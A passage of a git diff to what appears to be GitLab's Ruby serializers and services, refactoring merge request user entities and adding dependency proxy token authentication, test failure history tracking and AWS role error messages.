- options[:merge_request]&.can_be_merged_by?(assignee)
- end
-end
-
-MergeRequestAssigneeEntity.prepend_if_ee('EE::MergeRequestAssigneeEntity')
diff --git a/app/serializers/merge_request_current_user_entity.rb b/app/serializers/merge_request_current_user_entity.rb
new file mode 100644
index 00000000000..fbdb4e505ec
--- /dev/null
+++ b/app/serializers/merge_request_current_user_entity.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+class MergeRequestCurrentUserEntity < CurrentUserEntity
+ include RequestAwareEntity
+ include BlobHelper
+ include TreeHelper
+
+ expose :can_fork do |user|
+ project && can?(user, :fork_project, request.project)
+ end
+
+ expose :can_create_merge_request do |user|
+ project && can?(user, :create_merge_request_in, project)
+ end
+
+ expose :fork_path, if: -> (*) { project } do |user|
+ params = edit_blob_fork_params("Edit")
+ project_forks_path(project, namespace_key: user.namespace.id, continue: params)
+ end
+
+ def project
+ request.respond_to?(:project) && request.project
+ end
+end
diff --git a/app/serializers/merge_request_reviewer_entity.rb b/app/serializers/merge_request_reviewer_entity.rb
deleted file mode 100644
index fefd116014f..00000000000
--- a/app/serializers/merge_request_reviewer_entity.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-# frozen_string_literal: true
-
-class MergeRequestReviewerEntity < ::API::Entities::UserBasic
- expose :can_merge do |reviewer, options|
- options[:merge_request]&.can_be_merged_by?(reviewer)
- end
-end
-
-MergeRequestReviewerEntity.prepend_if_ee('EE::MergeRequestReviewerEntity')
diff --git a/app/serializers/merge_request_sidebar_extras_entity.rb b/app/serializers/merge_request_sidebar_extras_entity.rb
index 9db8e52abef..261b6e8e519 100644
--- a/app/serializers/merge_request_sidebar_extras_entity.rb
+++ b/app/serializers/merge_request_sidebar_extras_entity.rb
@@ -2,10 +2,10 @@
class MergeRequestSidebarExtrasEntity < IssuableSidebarExtrasEntity
expose :assignees do |merge_request|
- MergeRequestAssigneeEntity.represent(merge_request.assignees, merge_request: merge_request)
+ MergeRequestUserEntity.represent(merge_request.assignees, merge_request: merge_request)
end
expose :reviewers, if: -> (m) { m.allows_reviewers? } do |merge_request|
- MergeRequestReviewerEntity.represent(merge_request.reviewers, merge_request: merge_request)
+ MergeRequestUserEntity.represent(merge_request.reviewers, merge_request: merge_request)
end
end
diff --git a/app/serializers/merge_request_user_entity.rb b/app/serializers/merge_request_user_entity.rb
index 53257b0602c..604c9cabd50 100644
--- a/app/serializers/merge_request_user_entity.rb
+++ b/app/serializers/merge_request_user_entity.rb
@@ -1,26 +1,9 @@
# frozen_string_literal: true
-class MergeRequestUserEntity < CurrentUserEntity
- include RequestAwareEntity
- include BlobHelper
- include TreeHelper
-
- expose :can_fork do |user|
- can?(user, :fork_project, request.project) if project
- end
-
- expose :can_create_merge_request do |user|
- project && can?(user, :create_merge_request_in, project)
- end
-
- expose :fork_path, if: -> (*) { project } do |user|
- params = edit_blob_fork_params("Edit")
- project_forks_path(project, namespace_key: user.namespace.id, continue: params)
- end
-
- def project
- return false unless request.respond_to?(:project) && request.project
-
- request.project
+class MergeRequestUserEntity < ::API::Entities::UserBasic
+ expose :can_merge do |reviewer, options|
+ options[:merge_request]&.can_be_merged_by?(reviewer)
end
end
+
+MergeRequestUserEntity.prepend_if_ee('EE::MergeRequestUserEntity')
diff --git a/app/serializers/merge_request_widget_entity.rb b/app/serializers/merge_request_widget_entity.rb
index e46b269ea35..afd4d5b9a2b 100644
--- a/app/serializers/merge_request_widget_entity.rb
+++ b/app/serializers/merge_request_widget_entity.rb
@@ -2,6 +2,9 @@
class MergeRequestWidgetEntity < Grape::Entity
include RequestAwareEntity
+ include ProjectsHelper
+ include ApplicationHelper
+ include ApplicationSettingsHelper
SUGGEST_PIPELINE = 'suggest_pipeline'
@@ -48,6 +51,10 @@ class MergeRequestWidgetEntity < Grape::Entity
help_page_path('user/project/merge_requests/resolve_conflicts.md')
end
+ expose :reviewing_and_managing_merge_requests_docs_path do |merge_request|
+ help_page_path('user/project/merge_requests/reviewing_and_managing_merge_requests.md', anchor: "checkout-merge-requests-locally-through-the-head-ref")
+ end
+
expose :merge_request_pipelines_docs_path do |merge_request|
help_page_path('ci/merge_request_pipelines/index.md')
end
@@ -67,15 +74,15 @@ class MergeRequestWidgetEntity < Grape::Entity
)
end
- expose :user_callouts_path, if: -> (*) { Feature.enabled?(:suggest_pipeline, default_enabled: true) } do |_merge_request|
+ expose :user_callouts_path do |_merge_request|
user_callouts_path
end
- expose :suggest_pipeline_feature_id, if: -> (*) { Feature.enabled?(:suggest_pipeline, default_enabled: true) } do |_merge_request|
+ expose :suggest_pipeline_feature_id do |_merge_request|
SUGGEST_PIPELINE
end
- expose :is_dismissed_suggest_pipeline, if: -> (*) { Feature.enabled?(:suggest_pipeline, default_enabled: true) } do |_merge_request|
+ expose :is_dismissed_suggest_pipeline do |_merge_request|
current_user && current_user.dismissed_callout?(feature_name: SUGGEST_PIPELINE)
end
@@ -87,6 +94,10 @@ class MergeRequestWidgetEntity < Grape::Entity
new_project_pipeline_path(merge_request.project)
end
+ expose :source_project_default_url do |merge_request|
+ merge_request.source_project && default_url_to_repo(merge_request.source_project)
+ end
+
# Rendering and redacting Markdown can be expensive. These links are
# just nice to have in the merge request widget, so only
# include them if they are explicitly requested on first load.
diff --git a/app/serializers/paginated_diff_entity.rb b/app/serializers/paginated_diff_entity.rb
index fe59686278c..1118b1aa4fe 100644
--- a/app/serializers/paginated_diff_entity.rb
+++ b/app/serializers/paginated_diff_entity.rb
@@ -13,7 +13,7 @@ class PaginatedDiffEntity < Grape::Entity
submodule_links = Gitlab::SubmoduleLinks.new(merge_request.project.repository)
DiffFileEntity.represent(
- diffs.diff_files,
+ diffs.diff_files(sorted: true),
options.merge(
submodule_links: submodule_links,
code_navigation_path: code_navigation_path(diffs),
diff --git a/app/serializers/pipeline_serializer.rb b/app/serializers/pipeline_serializer.rb
index a45214670fa..ab2c6dfeace 100644
--- a/app/serializers/pipeline_serializer.rb
+++ b/app/serializers/pipeline_serializer.rb
@@ -75,3 +75,5 @@ class PipelineSerializer < BaseSerializer
]
end
end
+
+PipelineSerializer.prepend_if_ee('EE::PipelineSerializer')
diff --git a/app/serializers/rollout_status_entity.rb b/app/serializers/rollout_status_entity.rb
new file mode 100644
index 00000000000..9f4c844859b
--- /dev/null
+++ b/app/serializers/rollout_status_entity.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+class RolloutStatusEntity < Grape::Entity
+ include RequestAwareEntity
+
+ expose :status, as: :status
+
+ # To be removed in API v5
+ expose :has_legacy_app_label do |_rollout_status|
+ false
+ end
+
+ expose :instances, if: -> (rollout_status, _) { rollout_status.found? }
+ expose :completion, if: -> (rollout_status, _) { rollout_status.found? }
+ expose :complete?, as: :is_completed, if: -> (rollout_status, _) { rollout_status.found? }
+ expose :canary_ingress, using: RolloutStatuses::IngressEntity, expose_nil: false,
+ if: -> (rollout_status, _) { rollout_status.found? && rollout_status.canary_ingress_exists? }
+end
diff --git a/app/serializers/rollout_statuses/ingress_entity.rb b/app/serializers/rollout_statuses/ingress_entity.rb
new file mode 100644
index 00000000000..a68d936b86c
--- /dev/null
+++ b/app/serializers/rollout_statuses/ingress_entity.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module RolloutStatuses
+ class IngressEntity < Grape::Entity
+ expose :canary_weight
+ end
+end
diff --git a/app/serializers/user_entity.rb b/app/serializers/user_entity.rb
index 8909ae8df2c..9386c06b87a 100644
--- a/app/serializers/user_entity.rb
+++ b/app/serializers/user_entity.rb
@@ -2,3 +2,5 @@
class UserEntity < API::Entities::UserPath
end
+
+UserEntity.prepend_if_ee('EE::UserEntity')
diff --git a/app/serializers/user_serializer.rb b/app/serializers/user_serializer.rb
index d988caea92d..dfbd787298d 100644
--- a/app/serializers/user_serializer.rb
+++ b/app/serializers/user_serializer.rb
@@ -8,7 +8,7 @@ class UserSerializer < BaseSerializer
merge_request = opts[:project].merge_requests.find_by_iid!(params[:merge_request_iid])
preload_max_member_access(merge_request.project, Array(resource))
- super(resource, opts.merge(merge_request: merge_request), MergeRequestAssigneeEntity)
+ super(resource, opts.merge(merge_request: merge_request), MergeRequestUserEntity)
else
super
end
@@ -20,3 +20,5 @@ class UserSerializer < BaseSerializer
project.team.max_member_access_for_user_ids(users.map(&:id))
end
end
+
+UserSerializer.prepend_if_ee('EE::UserSerializer')
diff --git a/app/services/admin/propagate_integration_service.rb b/app/services/admin/propagate_integration_service.rb
index ddd5add42bd..253c3a84fef 100644
--- a/app/services/admin/propagate_integration_service.rb
+++ b/app/services/admin/propagate_integration_service.rb
@@ -7,7 +7,7 @@ module Admin
def propagate
if integration.instance?
update_inherited_integrations
- create_integration_for_groups_without_integration if Feature.enabled?(:group_level_integrations, default_enabled: true)
+ create_integration_for_groups_without_integration
create_integration_for_projects_without_integration
else
update_inherited_descendant_integrations
diff --git a/app/services/alert_management/process_prometheus_alert_service.rb b/app/services/alert_management/process_prometheus_alert_service.rb
index 28ce5401a6c..753162bfdbf 100644
--- a/app/services/alert_management/process_prometheus_alert_service.rb
+++ b/app/services/alert_management/process_prometheus_alert_service.rb
@@ -1,10 +1,16 @@
# frozen_string_literal: true
module AlertManagement
- class ProcessPrometheusAlertService < BaseService
+ class ProcessPrometheusAlertService
+ include BaseServiceUtility
include Gitlab::Utils::StrongMemoize
include ::IncidentManagement::Settings
+ def initialize(project, payload)
+ @project = project
+ @payload = payload
+ end
+
def execute
return bad_request unless incoming_payload.has_required_attributes?
@@ -19,6 +25,8 @@ module AlertManagement
private
+ attr_reader :project, :payload
+
def process_alert_management_alert
if incoming_payload.resolved?
process_resolved_alert_management_alert
@@ -127,7 +135,7 @@ module AlertManagement
strong_memoize(:incoming_payload) do
Gitlab::AlertManagement::Payload.parse(
project,
- params,
+ payload,
monitoring_tool: Gitlab::AlertManagement::Payload::MONITORING_TOOLS[:prometheus]
)
end
diff --git a/app/services/application_settings/update_service.rb b/app/services/application_settings/update_service.rb
index df9217bea32..7792b811b4e 100644
--- a/app/services/application_settings/update_service.rb
+++ b/app/services/application_settings/update_service.rb
@@ -9,6 +9,16 @@ module ApplicationSettings
MARKDOWN_CACHE_INVALIDATING_PARAMS = %w(asset_proxy_enabled asset_proxy_url asset_proxy_secret_key asset_proxy_whitelist).freeze
def execute
+ result = update_settings
+
+ auto_approve_blocked_users if result
+
+ result
+ end
+
+ private
+
+ def update_settings
validate_classification_label(application_setting, :external_authorization_service_default_label) unless bypass_external_auth?
if application_setting.errors.any?
@@ -40,8 +50,6 @@ module ApplicationSettings
@application_setting.save
end
- private
-
def usage_stats_updated?
params.key?(:usage_ping_enabled) || params.key?(:version_check_enabled)
end
@@ -95,6 +103,20 @@ module ApplicationSettings
def bypass_external_auth?
params.key?(:external_authorization_service_enabled) && !Gitlab::Utils.to_boolean(params[:external_authorization_service_enabled])
end
+
+ def auto_approve_blocked_users
+ return unless should_auto_approve_blocked_users?
+
+ ApproveBlockedPendingApprovalUsersWorker.perform_async(current_user.id)
+ end
+
+ def should_auto_approve_blocked_users?
+ return false unless application_setting.previous_changes.key?(:require_admin_approval_after_user_signup)
+
+ enabled_previous, enabled_current = application_setting.previous_changes[:require_admin_approval_after_user_signup]
+
+ enabled_previous && !enabled_current
+ end
end
end
diff --git a/app/services/auth/container_registry_authentication_service.rb b/app/services/auth/container_registry_authentication_service.rb
index 831a25a637e..d74f20511bd 100644
--- a/app/services/auth/container_registry_authentication_service.rb
+++ b/app/services/auth/container_registry_authentication_service.rb
@@ -130,6 +130,7 @@ module Auth
ContainerRepository.create_from_path!(path)
end
+ # Overridden in EE
def can_access?(requested_project, requested_action)
return false unless requested_project.container_registry_enabled?
return false if requested_project.repository_access_level == ::ProjectFeature::DISABLED
@@ -226,11 +227,16 @@ module Auth
end
end
+ # Overridden in EE
+ def extra_info
+ {}
+ end
+
def log_if_actions_denied(type, requested_project, requested_actions, authorized_actions)
return if requested_actions == authorized_actions
log_info = {
- message: "Denied container registry permissions",
+ message: 'Denied container registry permissions',
scope_type: type,
requested_project_path: requested_project.full_path,
requested_actions: requested_actions,
@@ -238,9 +244,11 @@ module Auth
username: current_user&.username,
user_id: current_user&.id,
project_path: project&.full_path
- }.compact
+ }.merge!(extra_info).compact
Gitlab::AuthLogger.warn(log_info)
end
end
end
+
+Auth::ContainerRegistryAuthenticationService.prepend_if_ee('EE::Auth::ContainerRegistryAuthenticationService')
diff --git a/app/services/auth/dependency_proxy_authentication_service.rb b/app/services/auth/dependency_proxy_authentication_service.rb
new file mode 100644
index 00000000000..1b8c16b7c79
--- /dev/null
+++ b/app/services/auth/dependency_proxy_authentication_service.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+module Auth
+ class DependencyProxyAuthenticationService < BaseService
+ AUDIENCE = 'dependency_proxy'
+ HMAC_KEY = 'gitlab-dependency-proxy'
+ DEFAULT_EXPIRE_TIME = 1.minute
+
+ def execute(authentication_abilities:)
+ return error('dependency proxy not enabled', 404) unless ::Gitlab.config.dependency_proxy.enabled
+ return error('access forbidden', 403) unless current_user
+
+ { token: authorized_token.encoded }
+ end
+
+ class << self
+ include ::Gitlab::Utils::StrongMemoize
+
+ def secret
+ strong_memoize(:secret) do
+ OpenSSL::HMAC.hexdigest(
+ 'sha256',
+ ::Settings.attr_encrypted_db_key_base,
+ HMAC_KEY
+ )
+ end
+ end
+
+ def token_expire_at
+ Time.current + Gitlab::CurrentSettings.container_registry_token_expire_delay.minutes
+ end
+ end
+
+ private
+
+ def authorized_token
+ JSONWebToken::HMACToken.new(self.class.secret).tap do |token|
+ token['user_id'] = current_user.id
+ token.expire_time = self.class.token_expire_at
+ end
+ end
+ end
+end
diff --git a/app/services/boards/lists/create_service.rb b/app/services/boards/lists/create_service.rb
index 9c7a165776e..a21ceee083f 100644
--- a/app/services/boards/lists/create_service.rb
+++ b/app/services/boards/lists/create_service.rb
@@ -6,17 +6,21 @@ module Boards
include Gitlab::Utils::StrongMemoize
def execute(board)
- List.transaction do
- case type
- when :backlog
- create_backlog(board)
- else
- target = target(board)
- position = next_position(board)
-
- create_list(board, type, target, position)
- end
- end
+ list = case type
+ when :backlog
+ create_backlog(board)
+ else
+ target = target(board)
+ position = next_position(board)
+
+ return ServiceResponse.error(message: _('%{board_target} not found') % { board_target: type.to_s.capitalize }) if target.blank?
+
+ create_list(board, type, target, position)
+ end
+
+ return ServiceResponse.error(message: list.errors.full_messages) unless list.persisted?
+
+ ServiceResponse.success(payload: { list: list })
end
private
@@ -33,7 +37,7 @@ module Boards
def target(board)
strong_memoize(:target) do
- available_labels.find(params[:label_id])
+ available_labels.find_by(id: params[:label_id]) # rubocop: disable CodeReuse/ActiveRecord
end
end
diff --git a/app/services/boards/lists/generate_service.rb b/app/services/boards/lists/generate_service.rb
index 4fbf1026019..d74320e92a3 100644
--- a/app/services/boards/lists/generate_service.rb
+++ b/app/services/boards/lists/generate_service.rb
@@ -7,7 +7,11 @@ module Boards
return false unless board.lists.movable.empty?
List.transaction do
- label_params.each { |params| create_list(board, params) }
+ label_params.each do |params|
+ response = create_list(board, params)
+
+ raise ActiveRecord::Rollback unless response.success?
+ end
end
true
diff --git a/app/services/ci/compare_codequality_reports_service.rb b/app/services/ci/compare_codequality_reports_service.rb
new file mode 100644
index 00000000000..20f5378f051
--- /dev/null
+++ b/app/services/ci/compare_codequality_reports_service.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Ci
+ class CompareCodequalityReportsService < CompareReportsBaseService
+ def comparer_class
+ Gitlab::Ci::Reports::CodequalityReportsComparer
+ end
+
+ def serializer_class
+ CodequalityReportsComparerSerializer
+ end
+
+ def get_report(pipeline)
+ pipeline&.codequality_reports
+ end
+ end
+end
diff --git a/app/services/ci/create_pipeline_service.rb b/app/services/ci/create_pipeline_service.rb
index e3bab2de44e..dbe81521cfc 100644
--- a/app/services/ci/create_pipeline_service.rb
+++ b/app/services/ci/create_pipeline_service.rb
@@ -18,6 +18,7 @@ module Ci
Gitlab::Ci::Pipeline::Chain::EvaluateWorkflowRules,
Gitlab::Ci::Pipeline::Chain::Seed,
Gitlab::Ci::Pipeline::Chain::Limit::Size,
+ Gitlab::Ci::Pipeline::Chain::Limit::Deployments,
Gitlab::Ci::Pipeline::Chain::Validate::External,
Gitlab::Ci::Pipeline::Chain::Populate,
Gitlab::Ci::Pipeline::Chain::StopDryRun,
@@ -90,7 +91,9 @@ module Ci
# rubocop: enable Metrics/ParameterLists
def execute!(*args, &block)
- execute(*args, &block).tap do |pipeline|
+ source, params = args[0], Hash(args[1])
+
+ execute(source, **params, &block).tap do |pipeline|
unless pipeline.persisted?
raise CreateError, pipeline.full_error_messages
end
diff --git a/app/services/ci/list_config_variables_service.rb b/app/services/ci/list_config_variables_service.rb
index 4a5b3a92a2c..88dac514bb9 100644
--- a/app/services/ci/list_config_variables_service.rb
+++ b/app/services/ci/list_config_variables_service.rb
@@ -2,7 +2,26 @@
module Ci
class ListConfigVariablesService < ::BaseService
+ include ReactiveCaching
+
+ self.reactive_cache_key = ->(service) { [service.class.name, service.id] }
+ self.reactive_cache_work_type = :external_dependency
+ self.reactive_cache_worker_finder = ->(id, *_args) { from_cache(id) }
+
+ def self.from_cache(id)
+ project_id, user_id = id.split('-')
+
+ project = Project.find(project_id)
+ user = User.find(user_id)
+
+ new(project, user)
+ end
+
def execute(sha)
+ with_reactive_cache(sha) { |result| result }
+ end
+
+ def calculate_reactive_cache(sha)
config = project.ci_config_for(sha)
return {} unless config
@@ -12,5 +31,10 @@ module Ci
result.valid? ? result.variables_with_data : {}
end
+
+ # Required for ReactiveCaching, it is also used in `reactive_cache_worker_finder`
+ def id
+ "#{project.id}-#{current_user.id}"
+ end
end
end
diff --git a/app/services/ci/test_cases_service.rb b/app/services/ci/test_cases_service.rb
deleted file mode 100644
index 3139b567571..00000000000
--- a/app/services/ci/test_cases_service.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-module Ci
- class TestCasesService
- MAX_TRACKABLE_FAILURES = 200
-
- def execute(build)
- return unless Feature.enabled?(:test_failure_history, build.project)
- return unless build.has_test_reports?
- return unless build.project.default_branch_or_master == build.ref
-
- test_suite = generate_test_suite_report(build)
-
- track_failures(build, test_suite)
- end
-
- private
-
- def generate_test_suite_report(build)
- build.collect_test_reports!(Gitlab::Ci::Reports::TestReports.new)
- end
-
- def track_failures(build, test_suite)
- return if test_suite.failed_count > MAX_TRACKABLE_FAILURES
-
- test_suite.failed.keys.each_slice(100) do |keys|
- Ci::TestCase.transaction do
- test_cases = Ci::TestCase.find_or_create_by_batch(build.project, keys)
- Ci::TestCaseFailure.insert_all(test_case_failures(test_cases, build))
- end
- end
- end
-
- def test_case_failures(test_cases, build)
- test_cases.map do |test_case|
- {
- test_case_id: test_case.id,
- build_id: build.id,
- failed_at: build.finished_at
- }
- end
- end
- end
-end
diff --git a/app/services/ci/test_failure_history_service.rb b/app/services/ci/test_failure_history_service.rb
new file mode 100644
index 00000000000..99a2592ec06
--- /dev/null
+++ b/app/services/ci/test_failure_history_service.rb
@@ -0,0 +1,95 @@
+# frozen_string_literal: true
+
+module Ci
+ class TestFailureHistoryService
+ class Async
+ attr_reader :service
+
+ def initialize(service)
+ @service = service
+ end
+
+ def perform_if_needed
+ TestFailureHistoryWorker.perform_async(service.pipeline.id) if service.should_track_failures?
+ end
+ end
+
+ MAX_TRACKABLE_FAILURES = 200
+
+ attr_reader :pipeline
+ delegate :project, to: :pipeline
+
+ def initialize(pipeline)
+ @pipeline = pipeline
+ end
+
+ def execute
+ return unless should_track_failures?
+
+ track_failures
+ end
+
+ def should_track_failures?
+ return false unless Feature.enabled?(:test_failure_history, project)
+ return false unless project.default_branch_or_master == pipeline.ref
+
+ # We fetch for up to MAX_TRACKABLE_FAILURES + 1 builds. So if ever we get
+ # 201 total number of builds with the assumption that each job has at least
+ # 1 failed test case, then we have at least 201 failed test cases which exceeds
+ # the MAX_TRACKABLE_FAILURES of 200. If this is the case, let's early exit so we
+ # don't have to parse each JUnit report of each of the 201 builds.
+ failed_builds.length <= MAX_TRACKABLE_FAILURES
+ end
+
+ def async
+ Async.new(self)
+ end
+
+ private
+
+ def failed_builds
+ @failed_builds ||= pipeline.builds_with_failed_tests(limit: MAX_TRACKABLE_FAILURES + 1)
+ end
+
+ def track_failures
+ failed_test_cases = gather_failed_test_cases(failed_builds)
+
+ return if failed_test_cases.size > MAX_TRACKABLE_FAILURES
+
+ failed_test_cases.keys.each_slice(100) do |key_hashes|
+ Ci::TestCase.transaction do
+ ci_test_cases = Ci::TestCase.find_or_create_by_batch(project, key_hashes)
+ failures = test_case_failures(ci_test_cases, failed_test_cases)
+
+ Ci::TestCaseFailure.insert_all(failures)
+ end
+ end
+ end
+
+ def gather_failed_test_cases(failed_builds)
+ failed_builds.each_with_object({}) do |build, failed_test_cases|
+ test_suite = generate_test_suite!(build)
+ test_suite.failed.keys.each do |key|
+ failed_test_cases[key] = build
+ end
+ end
+ end
+
+ def generate_test_suite!(build)
+ # Returns an instance of Gitlab::Ci::Reports::TestSuite
+ build.collect_test_reports!(Gitlab::Ci::Reports::TestReports.new)
+ end
+
+ def test_case_failures(ci_test_cases, failed_test_cases)
+ ci_test_cases.map do |test_case|
+ build = failed_test_cases[test_case.key_hash]
+
+ {
+ test_case_id: test_case.id,
+ build_id: build.id,
+ failed_at: build.finished_at
+ }
+ end
+ end
+ end
+end
diff --git a/app/services/ci/update_build_state_service.rb b/app/services/ci/update_build_state_service.rb
index fb67b0d2355..f01d41d9414 100644
--- a/app/services/ci/update_build_state_service.rb
+++ b/app/services/ci/update_build_state_service.rb
@@ -82,6 +82,10 @@ module Ci
unless checksum.valid?
metrics.increment_trace_operation(operation: :invalid)
+ if checksum.corrupted?
+ metrics.increment_trace_operation(operation: :corrupted)
+ end
+
next unless log_invalid_chunks?
::Gitlab::ErrorTracking.log_exception(InvalidTraceError.new,
@@ -89,7 +93,8 @@ module Ci
build_id: build.id,
state_crc32: checksum.state_crc32,
chunks_crc32: checksum.chunks_crc32,
- chunks_count: checksum.chunks_count
+ chunks_count: checksum.chunks_count,
+ chunks_corrupted: checksum.corrupted?
)
end
end
@@ -151,13 +156,21 @@ module Ci
end
def has_checksum?
- params.dig(:checksum).present?
+ trace_checksum.present?
end
def build_running?
build_state == 'running'
end
+ def trace_checksum
+ params.dig(:output, :checksum) || params.dig(:checksum)
+ end
+
+ def trace_bytesize
+ params.dig(:output, :bytesize)
+ end
+
def pending_state
strong_memoize(:pending_state) { ensure_pending_state }
end
@@ -166,7 +179,8 @@ module Ci
build_state = Ci::BuildPendingState.safe_find_or_create_by(
build_id: build.id,
state: params.fetch(:state),
- trace_checksum: params.fetch(:checksum),
+ trace_checksum: trace_checksum,
+ trace_bytesize: trace_bytesize,
failure_reason: params.dig(:failure_reason)
)
diff --git a/app/services/clusters/applications/prometheus_health_check_service.rb b/app/services/clusters/applications/prometheus_health_check_service.rb
index e609d9f0b7b..eda47f56e72 100644
--- a/app/services/clusters/applications/prometheus_health_check_service.rb
+++ b/app/services/clusters/applications/prometheus_health_check_service.rb
@@ -63,8 +63,10 @@ module Clusters
def send_notification(project)
notification_payload = build_notification_payload(project)
- token = project.alerts_service.data.token
- Projects::Alerting::NotifyService.new(project, nil, notification_payload).execute(token)
+ integration = project.alert_management_http_integrations.active.first
+
+ Projects::Alerting::NotifyService.new(project, notification_payload).execute(integration&.token, integration)
+
@logger.info(message: 'Successfully notified of Prometheus newly unhealthy', cluster_id: @cluster.id, project_id: project.id)
end
diff --git a/app/services/clusters/aws/authorize_role_service.rb b/app/services/clusters/aws/authorize_role_service.rb
index 188c4aebc5f..7ca20289bf7 100644
--- a/app/services/clusters/aws/authorize_role_service.rb
+++ b/app/services/clusters/aws/authorize_role_service.rb
@@ -29,7 +29,7 @@ module Clusters
rescue *ERRORS => e
Gitlab::ErrorTracking.track_exception(e)
- Response.new(:unprocessable_entity, {})
+ Response.new(:unprocessable_entity, response_details(e))
end
private
@@ -47,6 +47,28 @@ module Clusters
def credentials
Clusters::Aws::FetchCredentialsService.new(role).execute
end
+
+ def response_details(exception)
+ message =
+ case exception
+ when ::Aws::STS::Errors::AccessDenied
+ _("Access denied: %{error}") % { error: exception.message }
+ when ::Aws::STS::Errors::ServiceError
+ _("AWS service error: %{error}") % { error: exception.message }
+ when ActiveRecord::RecordNotFound
+ _("Error: Unable to find AWS role for current user")
+ when ActiveRecord::RecordInvalid
+ exception.message
+ when Clusters::Aws::FetchCredentialsService::MissingRoleError
+ _("Error: No AWS provision role found for user")
+ when ::Aws::Errors::MissingCredentialsError
+ _("Error: No AWS credentials were supplied")
+ else
+ _('An error occurred while authorizing your role')
+ end
+
+ { message: message }.compact
+ end
end
end
end
diff --git a/app/services/clusters/aws/fetch_credentials_service.rb b/app/services/clusters/aws/fetch_credentials_service.rb
index 96abbb43969..497e676f549 100644
--- a/app/services/clusters/aws/fetch_credentials_service.rb
+++ b/app/services/clusters/aws/fetch_credentials_service.rb
@@ -30,10 +30,17 @@ module Clusters
attr_reader :provider, :region
def client
- ::Aws::STS::Client.new(credentials: gitlab_credentials, region: region)
+ ::Aws::STS::Client.new(**client_args)
+ end
+
+ def client_args
+ { region: region, credentials: gitlab_credentials }.compact
end
def gitlab_credentials
+ # These are not needed for IAM instance profiles
+ return unless access_key_id.present? && secret_access_key.present?
+
::Aws::Credentials.new(access_key_id, secret_access_key)
end
diff --git a/app/services/concerns/exclusive_lease_guard.rb b/app/services/concerns/exclusive_lease_guard.rb
index a58e9aefcec..76d59cf2159 100644
--- a/app/services/concerns/exclusive_lease_guard.rb
+++ b/app/services/concerns/exclusive_lease_guard.rb
@@ -21,7 +21,7 @@ module ExclusiveLeaseGuard
lease = exclusive_lease.try_obtain
unless lease
- log_error("Cannot obtain an exclusive lease for #{self.class.name}. There must be another instance already in execution.")
+ log_error("Cannot obtain an exclusive lease for #{lease_key}. There must be another instance already in execution.")
return
end
diff --git a/app/services/concerns/users/participable_service.rb b/app/services/concerns/users/participable_service.rb
index 4f4032e77b9..c1c93aa604e 100644
--- a/app/services/concerns/users/participable_service.rb
+++ b/app/services/concerns/users/participable_service.rb
@@ -8,10 +8,14 @@ module Users
attr_reader :noteable
end
+ private
+
def noteable_owner
return [] unless noteable && noteable.author.present?
- [user_as_hash(noteable.author)]
+ [noteable.author].tap do |users|
+ preload_status(users)
+ end
end
def participants_in_noteable
@@ -22,23 +26,29 @@ module Users
end
def sorted(users)
- users.uniq.to_a.compact.sort_by(&:username).map do |user|
- user_as_hash(user)
+ users.uniq.to_a.compact.sort_by(&:username).tap do |users|
+ preload_status(users)
end
end
def groups
- group_counts = GroupMember
- .of_groups(current_user.authorized_groups)
- .non_request
- .count_users_by_group_id
+ current_user.authorized_groups.with_route.sort_by(&:path)
+ end
- current_user.authorized_groups.with_route.sort_by(&:path).map do |group|
- group_as_hash(group, group_counts)
- end
+ def render_participants_as_hash(participants)
+ participants.map(&method(:participant_as_hash))
end
- private
+ def participant_as_hash(participant)
+ case participant
+ when Group
+ group_as_hash(participant)
+ when User
+ user_as_hash(participant)
+ else
+ participant
+ end
+ end
def user_as_hash(user)
{
@@ -46,12 +56,11 @@ module Users
username: user.username,
name: user.name,
avatar_url: user.avatar_url,
- availability: nil
+ availability: lazy_user_availability(user).itself # calling #itself to avoid returning a BatchLoader instance
}
- # Return nil for availability for now due to https://gitlab.com/gitlab-org/gitlab/-/issues/285442
end
- def group_as_hash(group, group_counts)
+ def group_as_hash(group)
{
type: group.class.name,
username: group.full_path,
@@ -61,5 +70,27 @@ module Users
mentionsDisabled: group.mentions_disabled
}
end
+
+ def group_counts
+ @group_counts ||= GroupMember
+ .of_groups(current_user.authorized_groups)
+ .non_request
+ .count_users_by_group_id
+ end
+
+ def preload_status(users)
+ users.each { |u| lazy_user_availability(u) }
+ end
+
+ def lazy_user_availability(user)
+ BatchLoader.for(user.id).batch do |user_ids, loader|
+ user_ids.each_slice(1_000) do |sliced_user_ids|
+ UserStatus
+ .select(:user_id, :availability)
+ .primary_key_in(sliced_user_ids)
+ .each { |status| loader.call(status.user_id, status.availability) }
+ end
+ end
+ end
end
end
diff --git a/app/services/container_expiration_policies/cleanup_service.rb b/app/services/container_expiration_policies/cleanup_service.rb
index f2bc2beab63..4719c99af6d 100644
--- a/app/services/container_expiration_policies/cleanup_service.rb
+++ b/app/services/container_expiration_policies/cleanup_service.rb
@@ -20,7 +20,8 @@ module ContainerExpirationPolicies
if result[:status] == :success
repository.update!(
expiration_policy_cleanup_status: :cleanup_unscheduled,
- expiration_policy_started_at: nil
+ expiration_policy_started_at: nil,
+ expiration_policy_completed_at: Time.zone.now
)
success(:finished)
else
diff --git a/app/services/dependency_proxy/auth_token_service.rb b/app/services/dependency_proxy/auth_token_service.rb
new file mode 100644
index 00000000000..16279ed12b0
--- /dev/null
+++ b/app/services/dependency_proxy/auth_token_service.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+module DependencyProxy
+ class AuthTokenService < DependencyProxy::BaseService
+ attr_reader :token
+
+ def initialize(token)
+ @token = token
+ end
+
+ def execute
+ JSONWebToken::HMACToken.decode(token, ::Auth::DependencyProxyAuthenticationService.secret).first
+ end
+
+ class << self
+ def decoded_token_payload(token)
+ self.new(token).execute
+ end
+ end
+ end
+end
diff --git a/app/services/dependency_proxy/base_service.rb b/app/services/dependency_proxy/base_service.rb
index 1b2d4b14a27..944877fd5f9 100644
--- a/app/services/dependency_proxy/base_service.rb
+++ b/app/services/dependency_proxy/base_service.rb
@@ -2,6 +2,16 @@
module DependencyProxy
class BaseService < ::BaseService
+ class DownloadError < StandardError
+ attr_reader :http_status
+
+ def initialize(message, http_status)
